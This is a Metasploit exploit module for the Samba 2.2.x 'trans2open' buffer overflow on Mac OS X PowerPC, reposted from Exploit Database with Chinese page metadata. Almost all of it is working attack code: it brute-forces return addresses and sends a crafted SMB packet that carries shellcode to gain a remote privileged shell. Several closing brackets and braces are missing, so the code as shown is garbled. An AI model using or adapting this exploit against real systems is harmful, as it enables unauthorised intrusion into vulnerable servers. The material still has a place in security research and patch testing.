Samba 2.2.8 (OSX/PPC) – ‘trans2open’ Remote Overflow (Metasploit)

Exploit Database
109 阅读

作者： Metasploit

日期： 2010-06-21
类别：
- remote
平台：
- osx_ppc
来源：https://www.exploit-db.com/exploits/16876/

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# $Id: trans2open.rb 9571 2010-06-21 16:53:52Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::SMB

include Msf::Exploit::Brute

def initialize(info = {})

super(update_info(info,

'Name' => 'Samba trans2open Overflow (Mac OS X PPC)',

'Description'=> %q{

This exploits the buffer overflow found in Samba versions

2.2.0 to 2.2.8. This particular module is capable of

exploiting the bug on Mac OS X PowerPC systems.

'Author' => [ 'hdm', 'jduck' ],

'Version'=> '$Revision: 9571 $',

'References' =>

[

[ 'CVE', '2003-0201' ],

[ 'OSVDB', '4469' ],

[ 'BID', '7294' ],

[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]

'Privileged' => true,

'Payload'=>

{

'Space'=> 1024,

'BadChars' => "\x00",

'MinNops'=> 512,

'Platform' => 'osx',

'Arch' => ARCH_PPC,

'Targets'=>

[

[ 'Samba 2.2.x - Bruteforce',

{

# Not necessary on PPC

# 'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack

'Offset' => 1195,

'Bruteforce' =>

{

'Start' => { 'Ret' => 0xbffffdfc },

'Stop'=> { 'Ret' => 0xbfa00000 },

'Step'=> 512

}

]

'DisclosureDate' => 'Apr 7 2003',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(139)

], self.class)

end

# Need to perform target detection

def autofilter

false

end

def brute_exploit(addrs)

curr_ret = addrs['Ret']

begin

print_status("Trying return address 0x%.8x..." %curr_ret)

connect

smb_login

# 1988 is required for findrecv shellcode

pattern = rand_text_english(1988)

# This stream covers the framepointer and the return address

off = target['Offset']

pattern[off, 64] = [curr_ret].pack('N') * 16

# Stuff the shellcode into the request

pattern[3, payload.encoded.length] = payload.encoded

trans =

"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+

"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+

pattern

sock.put(trans)

handler

disconnect

rescue EOFError

rescue => e

print_error("#{e}")

end